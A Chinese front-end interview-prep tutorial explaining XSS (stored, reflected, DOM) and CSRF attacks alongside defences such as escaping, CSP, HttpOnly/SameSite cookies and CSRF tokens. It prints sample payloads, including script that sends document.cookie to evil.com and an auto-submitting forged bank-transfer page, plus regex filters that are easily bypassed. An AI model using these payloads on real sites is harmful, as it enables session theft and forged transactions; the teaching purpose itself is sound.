【前端面试小册】浏览器-第9节:前端安全防御实战,XSS和CSRF攻击原理与防御全解(字节、阿里)

一、现实世界类比 🛡️

想象你的网站是一个商场

  • XSS 攻击(跨站脚本攻击):就像商场里的小偷

    • 小偷混入商场(恶意脚本注入网页)
    • 偷走顾客的钱包(窃取 Cookie、Token)
    • 伪装成顾客做坏事(执行恶意操作)
  • CSRF 攻击(跨站请求伪造):就像假冒顾客的身份

    • 小偷拿到你的会员卡(利用已登录的 Cookie)
    • 冒充你去消费(伪造请求)
    • 你的账户被扣款(执行非法操作)

防御措施

  • XSS 防御:安检(输入过滤、输出转义、CSP)
  • CSRF 防御:验证身份(Token、SameSite Cookie)

二、XSS 攻击(Cross-Site Scripting)

💡 XSS 是什么?

// ===== XSS 定义 =====
const XSSAttack = {
  全称: 'Cross-Site Scripting(跨站脚本攻击)',
  
  本质: '代码注入攻击',
  
  原理: '攻击者将恶意脚本注入网页,在用户浏览器中执行',
  
  危害: [
    '窃取 Cookie、Token',
    '劫持用户会话',
    '篡改网页内容',
    '监听用户操作',
    '重定向到钓鱼网站'
  ]
};

XSS 的三种类型

类型1:存储型 XSS(最危险)⚠️⚠️⚠️

// ===== 攻击流程 =====
// 1. 攻击者提交恶意脚本到服务器
// 2. 服务器存储到数据库
// 3. 其他用户访问页面时,服务器返回恶意脚本
// 4. 恶意脚本在用户浏览器执行

// ===== 例子:评论区XSS =====
// 攻击者提交评论:
const comment = `
  <script>
    // 窃取 Cookie
    fetch('https://evil.com/steal?cookie=' + document.cookie);
  </script>
`;

// 服务器存储到数据库(未过滤)
db.comments.insert({ content: comment });

// 其他用户访问页面
app.get('/comments', (req, res) => {
  const comments = db.comments.findAll();
  
  // ❌ 直接渲染(危险)
  res.send(`
    <div>
      ${comments.map(c => c.content).join('')}
    </div>
  `);
});

// 结果:所有访问的用户都会被攻击 ❌

// ===== 防御方案 =====
// 1. 输入验证
app.post('/comment', (req, res) => {
  let content = req.body.content;
  
  // 过滤危险标签
  content = content.replace(/<script[^>]*>.*?<\/script>/gi, '');
  content = content.replace(/<iframe[^>]*>.*?<\/iframe>/gi, '');
  
  db.comments.insert({ content });
});

// 2. 输出转义
const escapeHTML = (str) => {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;')
    .replace(/\//g, '&#x2F;');
};

app.get('/comments', (req, res) => {
  const comments = db.comments.findAll();
  
  // ✅ 转义后渲染
  res.send(`
    <div>
      ${comments.map(c => escapeHTML(c.content)).join('')}
    </div>
  `);
});

// 结果:
// 输入:<script>alert('XSS')</script>
// 输出:&lt;script&gt;alert(&#x27;XSS&#x27;)&lt;&#x2F;script&gt;
// 浏览器显示:<script>alert('XSS')</script>(纯文本,不执行)✅

类型2:反射型 XSS ⚠️⚠️

// ===== 攻击流程 =====
// 1. 攻击者构造恶意 URL
// 2. 诱导用户点击
// 3. 服务器从 URL 取出恶意代码,拼接到 HTML 返回
// 4. 恶意脚本在用户浏览器执行

// ===== 例子:搜索页面 XSS =====
// 攻击者构造恶意链接:
const maliciousURL = `
  https://www.example.com/search?q=<script>
    fetch('https://evil.com/steal?cookie=' + document.cookie);
  </script>
`;

// 服务器处理搜索
app.get('/search', (req, res) => {
  const keyword = req.query.q;
  
  // ❌ 直接拼接到 HTML(危险)
  res.send(`
    <div>
      搜索结果:${keyword}
    </div>
  `);
});

// 用户点击链接 → XSS 攻击成功 ❌

// ===== 防御方案 =====
app.get('/search', (req, res) => {
  let keyword = req.query.q || '';
  
  // ✅ 转义输出
  keyword = escapeHTML(keyword);
  
  res.send(`
    <div>
      搜索结果:${keyword}
    </div>
  `);
});

类型3:DOM 型 XSS ⚠️

// ===== 攻击流程 =====
// 1. 攻击者构造恶意 URL
// 2. 前端 JS 从 URL 取出参数
// 3. 直接使用 innerHTML 等方法插入 DOM
// 4. 恶意脚本执行

// ===== 例子:DOM XSS =====
// 恶意 URL:
// https://www.example.com/#<img src=x onerror="alert(document.cookie)">

// ❌ 危险的前端代码
const hash = location.hash.slice(1);
document.getElementById('content').innerHTML = hash;

// 结果:XSS 攻击成功 ❌

// ===== 防御方案 =====
// 1. 使用 textContent 代替 innerHTML
const hash = location.hash.slice(1);
document.getElementById('content').textContent = hash;  // ✅ 纯文本

// 2. 使用安全的 DOM API
const hash = location.hash.slice(1);
const div = document.createElement('div');
div.textContent = hash;
document.getElementById('content').appendChild(div);  // ✅

// 3. 使用 DOMPurify 库
import DOMPurify from 'dompurify';

const hash = location.hash.slice(1);
const clean = DOMPurify.sanitize(hash);
document.getElementById('content').innerHTML = clean;  // ✅

XSS 防御方案完整版

防御1:输入验证

// ===== 服务器端验证 =====
const validator = {
  // 验证邮箱
  isEmail(str) {
    return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(str);
  },
  
  // 验证 URL
  isURL(str) {
    try {
      new URL(str);
      return true;
    } catch {
      return false;
    }
  },
  
  // 检测危险标签
  hasDangerousTag(str) {
    const dangerousPatterns = [
      /<script[\s\S]*?>[\s\S]*?<\/script>/gi,
      /<iframe[\s\S]*?>/gi,
      /<embed[\s\S]*?>/gi,
      /<object[\s\S]*?>/gi,
      /on\w+\s*=\s*["'][^"']*["']/gi,  // onerror, onclick 等
      /javascript:/gi
    ];
    
    return dangerousPatterns.some(pattern => pattern.test(str));
  }
};

app.post('/comment', (req, res) => {
  const content = req.body.content;
  
  // ✅ 验证输入
  if (validator.hasDangerousTag(content)) {
    return res.status(400).json({ error: '输入包含危险内容' });
  }
  
  db.comments.insert({ content });
});

防御2:输出转义

// ===== 转义函数 =====
const escape = {
  // HTML 转义
  html(str) {
    const escapeMap = {
      '&': '&amp;',
      '<': '&lt;',
      '>': '&gt;',
      '"': '&quot;',
      "'": '&#x27;',
      '/': '&#x2F;'
    };
    
    return str.replace(/[&<>"'/]/g, char => escapeMap[char]);
  },
  
  // JavaScript 转义(用于内联脚本)
  js(str) {
    return str
      .replace(/\\/g, '\\\\')
      .replace(/'/g, "\\'")
      .replace(/"/g, '\\"')
      .replace(/\n/g, '\\n')
      .replace(/\r/g, '\\r')
      .replace(/\t/g, '\\t');
  },
  
  // URL 转义
  url(str) {
    return encodeURIComponent(str);
  },
  
  // CSS 转义
  css(str) {
    return str.replace(/[<>"']/g, char => {
      return '\\' + char.charCodeAt(0).toString(16) + ' ';
    });
  }
};

// ===== 使用示例 =====
// HTML 上下文
const username = '<script>alert("XSS")</script>';
document.getElementById('username').textContent = username;  // ✅ 安全

// 或者使用转义
const html = `<div>${escape.html(username)}</div>`;

// JavaScript 上下文
const userInput = `"; alert("XSS"); var a="`;
const script = `<script>var username = "${escape.js(userInput)}";</script>`;

// URL 上下文
const redirect = `https://evil.com?hack=<script>`;
const url = `<a href="/redirect?url=${escape.url(redirect)}">Link</a>`;

防御3:Content Security Policy (CSP)

// ===== 设置 CSP 响应头 =====
app.use((req, res, next) => {
  // 最严格的 CSP
  res.setHeader(
    'Content-Security-Policy',
    "default-src 'self'; " +  // 只允许同源
    "script-src 'self'; " +    // 只允许同源脚本
    "style-src 'self' 'unsafe-inline'; " +  // 允许内联样式
    "img-src 'self' data: https:; " +  // 允许同源和 HTTPS 图片
    "font-src 'self'; " +
    "connect-src 'self'; " +   // 只允许同源 AJAX
    "frame-ancestors 'none'; " +  // 禁止被 iframe 嵌套
    "base-uri 'self'; " +
    "form-action 'self';"
  );
  
  next();
});

// ===== 逐步宽松的 CSP =====
// 1. 开发环境(宽松)
const devCSP = "default-src 'self' 'unsafe-inline' 'unsafe-eval'; img-src * data:;";

// 2. 测试环境(中等)
const testCSP = "default-src 'self'; script-src 'self' 'unsafe-inline'; img-src 'self' https:;";

// 3. 生产环境(严格)
const prodCSP = "default-src 'self'; script-src 'self'; img-src 'self' https:;";

// ===== 在 HTML meta 标签中设置 =====
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self';">

防御4:HttpOnly Cookie

// ===== 设置 HttpOnly Cookie =====
app.post('/login', (req, res) => {
  const token = generateToken(req.body);
  
  res.cookie('token', token, {
    httpOnly: true,  // ✅ 禁止 JS 访问(防 XSS)
    secure: true,    // ✅ 仅 HTTPS 传输
    sameSite: 'strict',  // ✅ 防 CSRF
    maxAge: 24 * 60 * 60 * 1000  // 24 小时
  });
  
  res.json({ success: true });
});

// 结果:
// document.cookie  // 无法读取 token ✅

三、CSRF 攻击(Cross-Site Request Forgery)

💡 CSRF 是什么?

// ===== CSRF 定义 =====
const CSRFAttack = {
  全称: 'Cross-Site Request Forgery(跨站请求伪造)',
  
  本质: 'HTTP 请求伪造',
  
  原理: '利用用户已登录的身份,诱导用户访问恶意网站,自动发起请求',
  
  危害: [
    '转账',
    '修改密码',
    '发送邮件',
    '删除数据',
    '执行管理操作'
  ]
};

🎯 CSRF 攻击示例

<!-- ===== 场景:银行转账 ===== -->

<!-- 正常转账 -->
<!-- 用户在 bank.com 已登录 -->
<form action="https://bank.com/transfer" method="POST">
  <input name="to" value="Bob">
  <input name="amount" value="100">
  <button>转账</button>
</form>

<!-- ===== CSRF 攻击 ===== -->
<!-- 攻击者在 evil.com 构造恶意页面 -->
<!DOCTYPE html>
<html>
<head>
  <title>恭喜中奖!</title>
</head>
<body>
  <h1>恭喜中奖!点击领取</h1>
  
  <!-- 隐藏的表单,自动提交 -->
  <form id="csrf-form" action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="to" value="Hacker">
    <input type="hidden" name="amount" value="10000">
  </form>
  
  <script>
    // 页面加载时自动提交
    document.getElementById('csrf-form').submit();
  </script>
</body>
</html>

<!--
攻击流程:
1. 用户在 bank.com 已登录(Cookie 存在)
2. 攻击者诱导用户访问 evil.com
3. evil.com 自动提交表单到 bank.com
4. 浏览器自动携带 bank.com 的 Cookie
5. bank.com 认为是用户的正常操作
6. 转账成功,用户损失 10000 元 ❌
-->

CSRF 防御方案完整版

防御1:CSRF Token(最有效)⭐⭐⭐⭐⭐

// ===== 服务器端生成 Token =====
const crypto = require('crypto');

// 生成随机 Token
function generateCSRFToken() {
  return crypto.randomBytes(32).toString('hex');
}

// 验证 Token
function verifyCSRFToken(token, sessionToken) {
  return token === sessionToken;
}

// ===== Express 中间件 =====
const session = require('express-session');

app.use(session({
  secret: 'your-secret-key',
  resave: false,
  saveUninitialized: true
}));

// 生成并保存 Token
app.use((req, res, next) => {
  if (!req.session.csrfToken) {
    req.session.csrfToken = generateCSRFToken();
  }
  
  // 将 Token 暴露给模板
  res.locals.csrfToken = req.session.csrfToken;
  
  next();
});

// 验证 CSRF Token 中间件
function csrfProtection(req, res, next) {
  if (req.method === 'GET' || req.method === 'HEAD' || req.method === 'OPTIONS') {
    return next();  // 安全方法,不需要验证
  }
  
  const token = req.body._csrf || req.headers['x-csrf-token'];
  
  if (!verifyCSRFToken(token, req.session.csrfToken)) {
    return res.status(403).json({ error: 'Invalid CSRF token' });
  }
  
  next();
}

// ===== 前端使用 =====
// 1. 在表单中添加 Token
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="<%= csrfToken %>">
  <input name="to" value="Bob">
  <input name="amount" value="100">
  <button>转账</button>
</form>

// 2. 在 AJAX 请求中添加 Token
fetch('/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': document.querySelector('meta[name="csrf-token"]').content
  },
  body: JSON.stringify({ to: 'Bob', amount: 100 })
});

// 3. 使用 csurf 中间件(推荐)
const csurf = require('csurf');
const csrfProtection = csurf({ cookie: true });

app.get('/form', csrfProtection, (req, res) => {
  res.render('form', { csrfToken: req.csrfToken() });
});

app.post('/transfer', csrfProtection, (req, res) => {
  // Token 自动验证
  res.json({ success: true });
});

防御2:SameSite Cookie(简单有效)⭐⭐⭐⭐

// ===== 设置 SameSite Cookie =====
res.cookie('token', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',  // ✅ 关键设置
  maxAge: 24 * 60 * 60 * 1000
});

// SameSite 三个值:
const SameSiteOptions = {
  Strict: {
    说明: '完全禁止第三方 Cookie',
    行为: '从其他网站跳转过来,不携带 Cookie',
    场景: '适合银行等高安全要求的网站',
    缺点: '用户体验差(从其他网站跳转过来需要重新登录)'
  },
  
  Lax: {
    说明: '部分允许第三方 Cookie',
    行为: '链接跳转携带 Cookie,AJAX/表单提交不携带',
    场景: '大部分网站的默认选择',
    优点: '平衡安全性和用户体验'
  },
  
  None: {
    说明: '不限制第三方 Cookie',
    行为: '完全允许跨站携带 Cookie',
    要求: '必须配合 Secure 使用(仅 HTTPS)',
    场景: '嵌入式应用(如第三方登录、支付)'
  }
};

// ===== 示例 =====
// 设置为 Strict
res.cookie('session', sessionId, {
  sameSite: 'strict'
});

// 结果:
// 从 evil.com 发起的请求到 bank.com,不会携带 Cookie ✅
// CSRF 攻击失败 ✅

防御3:验证 Referer / Origin

// ===== 检查请求来源 =====
function checkReferer(req, res, next) {
  const referer = req.headers.referer || '';
  const origin = req.headers.origin || '';
  
  const allowedOrigins = [
    'https://www.example.com',
    'https://app.example.com'
  ];
  
  // 提取域名
  const refererOrigin = referer ? new URL(referer).origin : '';
  
  // 验证来源
  if (refererOrigin && !allowedOrigins.includes(refererOrigin)) {
    return res.status(403).json({ error: '非法请求来源' });
  }
  
  if (origin && !allowedOrigins.includes(origin)) {
    return res.status(403).json({ error: '非法请求来源' });
  }
  
  next();
}

app.post('/transfer', checkReferer, (req, res) => {
  // 处理转账...
});

// ⚠️ 注意:Referer 可以被伪造或禁用,不能作为唯一防御手段

防御4:双重 Cookie 验证

// ===== 双重 Cookie 验证 =====
// 原理:要求请求参数中的 Token 与 Cookie 中的 Token 一致

// 1. 设置 CSRF Token Cookie
app.use((req, res, next) => {
  const token = req.cookies.csrfToken || generateCSRFToken();
  
  res.cookie('csrfToken', token, {
    httpOnly: false,  // ✅ 必须允许 JS 读取
    secure: true,
    sameSite: 'strict'
  });
  
  next();
});

// 2. 验证
function doubleCookieCheck(req, res, next) {
  const cookieToken = req.cookies.csrfToken;
  const requestToken = req.body._csrf || req.headers['x-csrf-token'];
  
  if (!cookieToken || !requestToken || cookieToken !== requestToken) {
    return res.status(403).json({ error: 'CSRF token mismatch' });
  }
  
  next();
}

// 3. 前端使用
fetch('/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': getCookie('csrfToken')  // 从 Cookie 读取
  },
  body: JSON.stringify({ to: 'Bob', amount: 100 })
});

function getCookie(name) {
  const value = `; ${document.cookie}`;
  const parts = value.split(`; ${name}=`);
  if (parts.length === 2) return parts.pop().split(';').shift();
}

四、XSS vs CSRF 对比

const Comparison = {
  XSS: {
    本质: '代码注入',
    攻击方式: '注入恶意脚本到网页',
    目标: '窃取用户数据',
    防御: '输入验证、输出转义、CSP、HttpOnly Cookie'
  },
  
  CSRF: {
    本质: 'HTTP 请求伪造',
    攻击方式: '诱导用户访问恶意网站,自动发起请求',
    目标: '冒充用户执行操作',
    防御: 'CSRF Token、SameSite Cookie、验证 Referer'
  }
};

五、总结与记忆口诀 📝

XSS 防御口诀

输入验证第一关
输出转义不能少
CSP 头部来护航
HttpOnly 保 Cookie

CSRF 防御口诀

Token 验证最可靠
SameSite 简单好
Referer 辅助查
双重 Cookie 也不错

六、面试加分项 🌟

前端面试提升点

  • ✅ 能清晰讲解 XSS 的三种类型及防御
  • ✅ 理解 CSRF 的攻击原理和 Token 验证机制
  • ✅ 知道 CSP、HttpOnly、SameSite 的作用
  • ✅ 能实现一个简单的 CSRF Token 系统

业务代码提升点

  • ✅ 所有用户输入都进行验证和转义
  • ✅ 使用 DOMPurify 库处理富文本
  • ✅ API 接口添加 CSRF Token 验证
  • ✅ Cookie 设置 HttpOnly + Secure + SameSite

架构能力增强点

  • ✅ 设计统一的输入验证中间件
  • ✅ 实现 CSP 报告收集和分析
  • ✅ 配置 WAF(Web Application Firewall)
  • ✅ 建立安全审计日志系统

记住:安全无小事,防御要全面! 🛡️

#前端面试小册##前端##字节##阿里##银行#
前端面试小册 文章被收录于专栏

每天更新3-4节,持续更新中... 目标:50天学完,上岸银行总行!

全部评论

相关推荐

离上岸不远了的海螺很...:大白菜,感觉比大白菜低一点还
校招薪资来揭秘
点赞 评论 收藏
分享
评论
点赞
2
分享

创作者周榜

更多
牛客网
牛客网在线编程
牛客网题解
牛客企业服务